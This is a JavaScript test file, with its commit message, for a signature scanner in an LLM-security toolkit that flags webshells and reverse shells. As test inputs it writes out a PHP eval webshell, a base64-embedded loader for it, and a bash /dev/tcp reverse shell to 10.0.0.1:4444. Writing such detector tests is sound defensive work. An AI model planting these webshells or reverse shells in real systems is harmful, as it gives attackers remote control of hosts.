llm-security/tests/scanners/signature-scanner.test.mjs
Kjell Tore Guttormsen 21c6c2b534 fix(llm-security): normalization/discovery evasion + SIG embedded-base64 & custom rules (#21,#23,#30,#36,#42,#52,#55)
#21 the bash normalizer decoded only \xHH, leaving ANSI-C octal/\u/\U forms literal so canonical rm/curl never surfaced; now decodes all three. #23 file-discovery keyed on extname so .env.local/.env.example (extname .local/.example) were silently skipped; now matches multi-part suffixes. #42 a legitimate leading UTF-8 BOM was flagged HIGH (and the tool's own auto-cleaner refused to strip it); pos-0 BOM now excepted. #52 collapseLetterSpacing used a literal space, letting multi-space/tab spacing evade; now [ \t]+. #55 redact(_,60,0) did slice(-0) and leaked the whole unredacted URL; showEnd===0 now means no tail.

#30 embedded base64 (const x = "<base64>") never satisfied the whole-string decode, so the SIG identity engine never saw it; added decodeEmbeddedBase64 as an OPT-IN param on normalizeForScan (default off — appending a decoded copy would double-count per-match findings, e.g. content-extractor's injection scan) and enabled it only in signature-scanner, which dedups variants. #36 signature-scanner ignored the documented sig.custom_rules_path policy option; now loads+merges custom rules through the same family filter. Suite 2004/0.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

Claude-Session: https://claude.ai/code/session_01TcQyMTQfyrsAapaCMPxTtQ
2026-07-18 10:35:56 +02:00

197 lines
9.1 KiB
JavaScript

// signature-scanner.test.mjs — Tests for the SIG known-bad-identity scanner.
// Fixtures in tests/fixtures/signature-scan/:
// - clean/ : benign prose that merely mentions "shell" (0 findings expected)
// - poisoned/ : a PHP webshell, a base64-wrapped copy of it (decode-pipeline
// differentiator), and a /dev/tcp reverse shell
import { describe, it, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { resolve, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import { mkdtempSync, mkdirSync, writeFileSync, rmSync, readFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { resetCounter } from '../../scanners/lib/output.mjs';
import { discoverFiles } from '../../scanners/lib/file-discovery.mjs';
import { scan } from '../../scanners/signature-scanner.mjs';
const __dirname = fileURLToPath(new URL('.', import.meta.url));
const CLEAN_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/clean');
const POISONED_FIXTURE = resolve(__dirname, '../fixtures/signature-scan/poisoned');
// ---------------------------------------------------------------------------
// Clean — benign prose, no known-bad identity
// ---------------------------------------------------------------------------
describe('signature-scanner: clean', () => {
let discovery;
beforeEach(async () => {
resetCounter();
discovery = await discoverFiles(CLEAN_FIXTURE);
});
it('returns status ok', async () => {
const result = await scan(CLEAN_FIXTURE, discovery);
assert.equal(result.status, 'ok');
});
it('produces 0 findings for benign prose mentioning "shell"', async () => {
const result = await scan(CLEAN_FIXTURE, discovery);
assert.equal(
result.findings.length, 0,
`Expected 0 findings, got ${result.findings.length}: ${result.findings.map(f => f.title).join('; ')}`,
);
});
});
// ---------------------------------------------------------------------------
// Poisoned — webshell + base64 variant (decode pipeline) + reverse shell
// ---------------------------------------------------------------------------
describe('signature-scanner: poisoned', () => {
let discovery;
beforeEach(async () => {
resetCounter();
discovery = await discoverFiles(POISONED_FIXTURE);
});
it('returns status ok', async () => {
const result = await scan(POISONED_FIXTURE, discovery);
assert.equal(result.status, 'ok');
});
it('all findings carry DS-SIG- ids and scanner SIG', async () => {
const result = await scan(POISONED_FIXTURE, discovery);
const wrong = result.findings.filter(f => !f.id.startsWith('DS-SIG-') || f.scanner !== 'SIG');
assert.equal(wrong.length, 0, `Wrong id/scanner: ${wrong.map(f => `${f.id}/${f.scanner}`).join(', ')}`);
});
it('flags the raw PHP webshell', async () => {
const result = await scan(POISONED_FIXTURE, discovery);
const ws = result.findings.filter(f => f.file.includes('webshell.php'));
assert.ok(ws.length >= 1, `Expected a webshell finding on webshell.php, got: ${result.findings.map(f => f.file).join('; ')}`);
assert.ok(ws.some(f => /webshell/i.test(f.title) || /webshell/i.test(f.description)), 'finding should name the webshell family');
});
it('flags the base64-wrapped webshell via the decode pipeline', async () => {
const result = await scan(POISONED_FIXTURE, discovery);
const b64 = result.findings.find(f => f.file.includes('webshell-b64.txt'));
assert.ok(b64, `Expected a finding on webshell-b64.txt (decode pipeline), got: ${result.findings.map(f => f.file).join('; ')}`);
});
it('flags the /dev/tcp reverse shell', async () => {
const result = await scan(POISONED_FIXTURE, discovery);
const rev = result.findings.find(f => f.file.includes('revshell.sh'));
assert.ok(rev, `Expected a reverse-shell finding on revshell.sh, got: ${result.findings.map(f => f.file).join('; ')}`);
});
it('flags a webshell base64-EMBEDDED in surrounding code (#30, decodeEmbedded)', async () => {
// The whole-string decode pipeline only fires when the ENTIRE file is one
// base64 blob (webshell-b64.txt). #30: a payload embedded in surrounding
// code (const x = "<base64>") must also reach the SIG decode pipeline via
// decodeEmbedded. Regression guard for the signature-scanner opt-in flag.
const payload = readFileSync(join(POISONED_FIXTURE, 'webshell.php'), 'utf8');
const b64 = Buffer.from(payload).toString('base64');
const dir = mkdtempSync(join(tmpdir(), 'sig-embed-b64-'));
try {
writeFileSync(join(dir, 'loader.js'), `const p = "${b64}";\nrun(atob(p));\n`);
resetCounter();
const d = await discoverFiles(dir);
const result = await scan(dir, d);
const hit = result.findings.find(f => f.file.includes('loader.js'));
assert.ok(hit, `Expected the embedded-base64 webshell to be flagged, got: ${result.findings.map(f => f.file).join('; ')}`);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
it('all findings have required fields', async () => {
const result = await scan(POISONED_FIXTURE, discovery);
assert.ok(result.findings.length >= 3, `expected >= 3 findings, got ${result.findings.length}`);
for (const f of result.findings) {
assert.ok(f.id, 'missing id');
assert.equal(f.scanner, 'SIG', `${f.id} scanner should be SIG`);
assert.ok(f.severity, `${f.id} missing severity`);
assert.ok(f.title, `${f.id} missing title`);
assert.ok(f.description, `${f.id} missing description`);
assert.ok(f.file, `${f.id} missing file`);
assert.ok(f.owasp, `${f.id} missing owasp`);
}
});
});
// ---------------------------------------------------------------------------
// Hygiene — must not flag its own ruleset / test / docs paths when scanning
// a project root that contains them
// ---------------------------------------------------------------------------
describe('signature-scanner: path exclusions', () => {
it('does not scan knowledge/, tests/, or docs/ paths', async () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-paths-'));
try {
for (const sub of ['knowledge', 'tests', 'docs']) {
mkdirSync(join(dir, sub), { recursive: true });
// A file that WOULD match a webshell signature, but lives in an excluded dir.
writeFileSync(join(dir, sub, 'sample.php'), "<?php @eval($_POST['x']); ?>\n");
}
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
assert.equal(result.findings.length, 0, `excluded dirs should yield 0 findings, got ${result.findings.map(f => f.file).join('; ')}`);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});
// ---------------------------------------------------------------------------
// Wiring — OWASP map + orchestrator registration (Step 4)
// ---------------------------------------------------------------------------
describe('signature-scanner: OWASP map registration', () => {
it('SIG is present in all four OWASP maps with the right codes', async () => {
const { OWASP_MAP, OWASP_AGENTIC_MAP, OWASP_SKILLS_MAP, OWASP_MCP_MAP } =
await import('../../scanners/lib/severity.mjs');
assert.deepEqual(OWASP_MAP.SIG, ['LLM03', 'LLM02']);
assert.deepEqual(OWASP_AGENTIC_MAP.SIG, ['ASI04']);
assert.deepEqual(OWASP_SKILLS_MAP.SIG, []);
assert.deepEqual(OWASP_MCP_MAP.SIG, []);
});
});
describe('signature-scanner: orchestrator registration', () => {
it('scan-orchestrator imports and lists the SIG scanner', () => {
const orchPath = resolve(__dirname, '../../scanners/scan-orchestrator.mjs');
const text = readFileSync(orchPath, 'utf8');
assert.match(text, /import\s+\{\s*scan as sigScan\s*\}\s+from\s+['"]\.\/signature-scanner\.mjs['"]/);
assert.match(text, /\{\s*name:\s*'sig',\s*fn:\s*sigScan\s*\}/);
});
});
// ---------------------------------------------------------------------------
// Policy — disabling a family suppresses only that family's findings (Step 4)
// ---------------------------------------------------------------------------
describe('signature-scanner: family disable', () => {
it('disabling "webshell" suppresses webshell findings but keeps reverse_shell', async () => {
const dir = mkdtempSync(join(tmpdir(), 'sig-family-'));
try {
mkdirSync(join(dir, '.llm-security'), { recursive: true });
writeFileSync(
join(dir, '.llm-security', 'policy.json'),
JSON.stringify({ sig: { enabled_families: ['reverse_shell'] } }),
);
writeFileSync(join(dir, 'shell.php'), "<?php @eval($_POST['cmd']); ?>\n");
writeFileSync(join(dir, 'rev.sh'), '#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n');
resetCounter();
const discovery = await discoverFiles(dir);
const result = await scan(dir, discovery);
const families = result.findings.map(f => f.evidence);
assert.ok(!families.some(e => /\[webshell\]/.test(e)), `webshell family should be suppressed, got: ${families.join('; ')}`);
assert.ok(families.some(e => /\[reverse_shell\]/.test(e)), `reverse_shell should still fire, got: ${families.join('; ')}`);
} finally {
rmSync(dir, { recursive: true, force: true });
}
});
});